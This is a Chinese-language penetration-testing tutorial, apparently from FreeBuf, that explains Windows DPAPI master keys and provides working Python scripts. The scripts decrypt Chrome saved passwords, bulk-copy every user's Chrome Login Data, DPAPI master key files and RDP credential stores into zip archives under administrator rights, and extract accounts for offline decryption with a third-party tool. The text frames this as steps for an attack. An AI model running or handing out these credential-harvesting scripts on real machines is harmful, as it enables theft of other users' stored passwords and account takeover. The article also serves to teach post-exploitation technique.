
注意:在进行攻击之前先看我在解密密码里写的注意事项
名词解释
DPAPI:
全称Data Protection Application Programming Interface,Windows系统的一个数据保护接口,主要用于保护加密的数据,常见的应用如:
Internet Explorer,Google Chrome中的密码和表单 存储无线连接密码 远程桌面连接密码 Outlook,Windows Mail,Windows Mail等中的电子邮件帐户密码 内部FTP管理员帐户密码 共享文件夹和资源访问密码 Windows Credential Manager Skype Windows CardSpace Windows Vault EFS文件加密
DPAPI blob:
一段密文,可使用Master Key对其解密
Master Key:
64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中
Master Key file:
二进制文件,可使用用户登录密码对其解密,获得Master Key
分为两种:
用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID% 存储用户的登陆密码 系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User 存储wifi等各种密码
固定位置:
%APPDATA%\Microsoft\Protect%SID%,该目录下往往有多个Master Key file,这是为了安全起见,系统每隔90天会自动生成一个新的Master Key(旧的不会删除)
Preferred文件:
位于Master Key file的同级目录,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期
使用python脚本获取
import os, sys import shutil import sqlite3 import win32crypt db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data') print(db_file_path) # tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp') tmp_file = './loginData' print(tmp_file) if os.path.exists(tmp_file): os.remove(tmp_file) shutil.copyfile(db_file_path, tmp_file) conn = sqlite3.connect(tmp_file) for row in conn.execute('select signon_realm,username_value,password_value from logins'): try: ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0) print('url:%-50s username:%-20s password:%s' % (row[0], row[1], ret[1].decode('gbk'))) except Exception as e: print('url:%-50s get Chrome password Filed...' % row[0]) pass conn.close() os.remove(tmp_file)
但是此脚本在win10下测试失败
写在后面:不是系统的问题,是chrome浏览器的问题,估计也是得79以下版本才可以直接运行
导出Chrome密码&其他密码
条件:
知道目标用户的明文密码
使用脚本filePack.py,代码
import os import shutil import sqlite3 import win32crypt users_dir = os.environ['userprofile'].rsplit('\\', 1)[0] ##获取users目录的路径 print(users_dir) def search_login_data(path, name): for root, dirs, files in os.walk(path): if name in files: root = str(root) login_data_path = root + '\\' + name return login_data_path #获取所有用户的谷歌的Login Data文件 def login_data(): print('-' * 50 + '\n' + r'[2] Get all users Google login data files:') name = 'Login Data' for user_name in os.listdir(users_dir): Google_dir = users_dir + '\\' + user_name + r'\AppData\Local\Google' print(Google_dir) login_data_path = search_login_data(Google_dir, name) print(login_data_path) if login_data_path: try: os.makedirs('./google') except Exception as e: pass dst = './google/{}logindata'.format(user_name) shutil.copyfile(login_data_path, dst) print('copy [{}] '.format(login_data_path)) login_data_path = '' if os.path.isdir('google'): shutil.make_archive("./google", 'zip', root_dir='./google') print('[+] success! google.zip save to {}\pgoogle.zip'.format(os.getcwd())) shutil.rmtree('./google') #获取所有用户的master key file def master_key(): print('-' * 50 + '\n' + r'[3] Get the master key file for all users:') for user_name in os.listdir(users_dir): Protectdir = users_dir + '\\' + user_name + r'\AppData\Roaming\Microsoft\Protect' if os.path.isdir(Protectdir): shutil.make_archive("./protect/{}protect".format(user_name), 'zip',root_dir=Protectdir) # 每个用户的protect压缩为usernameprotect.zip print('copy [{}]'.format(Protectdir)) if os.path.isdir('protect'): shutil.make_archive("./protect", 'zip', root_dir='./protect') print('[+] success! protect.zip save to {}\protect.zip'.format(os.getcwd())) shutil.rmtree('./protect') #获取所有用户的rdp保存凭证 def rdp(): print('-' * 50 + '\n' + r'[4] Get RDP save credentials for all users:') for user_name in os.listdir(users_dir): RDPdir = users_dir + '\\' + user_name + r'\AppData\Local\Microsoft\Credentials' if os.path.isdir(RDPdir): shutil.make_archive("./rdp/{}rdp".format(user_name), 'zip', root_dir=RDPdir) print('copy [{}]'.format(RDPdir)) if os.path.isdir('./rdp'): shutil.make_archive("./rdp", 'zip', root_dir='./rdp') print(r'[+] success! rdp.zip save to {}\rdp.zip'.format(os.getcwd())) shutil.rmtree('./rdp') login_data() master_key() rdp()
运行脚本时使用管理员权限,如果不使用管理员权限就有可能会因为没有权限拿到其他用户的数据
运行脚本后,会在当前目录下生成三个压缩包,分别是
用户的master key file
用户的的Login Data文件
用户的rdp保存凭证
其中Logon Data就是用户的chrome浏览器密码,但是无法直接读取
读取Login_Data
将Login Data文件解压到文件夹,使用另外的脚本
代码:
import sqlite3 import sys import os try: os.makedirs('./password') except Exception as e: pass LoginDatafile = sys.argv[1] # Login Data文件名 conn = sqlite3.connect(LoginDatafile) cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for each in cursor.fetchall(): url, username, password = each print('[{}] [username:{}] [password:需要解密]'.format(url, username)) with open('./password/{}password.txt'.format(username), 'ab') as f1, open('./password/urluserpwd.txt', 'at') as f2: f1.write(each[2]) f2.writelines('url: {}\nusername: {}\npassword: \n{}\n'.format(url, username, '-'*50))
使用此脚本去读取login_data的数据,但是由于密码都是加密的,所以无法直接读取,但是账号直接读取出来了
脚本会在当前目录下生成一个password的文件夹,将里面的数据存放在此
urluserpwd.txt是谷歌浏览器所有保存的链接、账号、密码
解密密码
在解密前先注意一点,这个漏洞已经被谷歌修复,使用79版本以上(即2020年2月发布的版本)的谷歌浏览器无法通过这种方法解密文件
历史版本chrome下载地址:
Google Chrome 32bit Windows版 / chrome32win稳定版_chrome浏览器,chrome插件,谷歌浏览器下载,谈笑有鸿儒 (chromedownloads.net)
使用wpr解密密码文件,下载地址:
https://www.passcape.com/index.php?section=downloads&category=28
安装完后打开软件,准备解密,在那之前先把protect压缩包解压,里面装的是masterkey,用于解密的
解压后打开软件
选择要解密的txt文件
选择masterkey
输入要解密用户的密码,如果密码和账号不匹配就会显示SID或者密码错误
解密成功,当前是试用版,只显示前十个字符
由于谷歌浏览器对域用户是无法保存密码的,所以我理论上抓不到域用户的密码,我还是抓到了,是95版本的,可能新版是可以保存密码,但是无法破解,而且似乎还需要ntds.dit文件
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)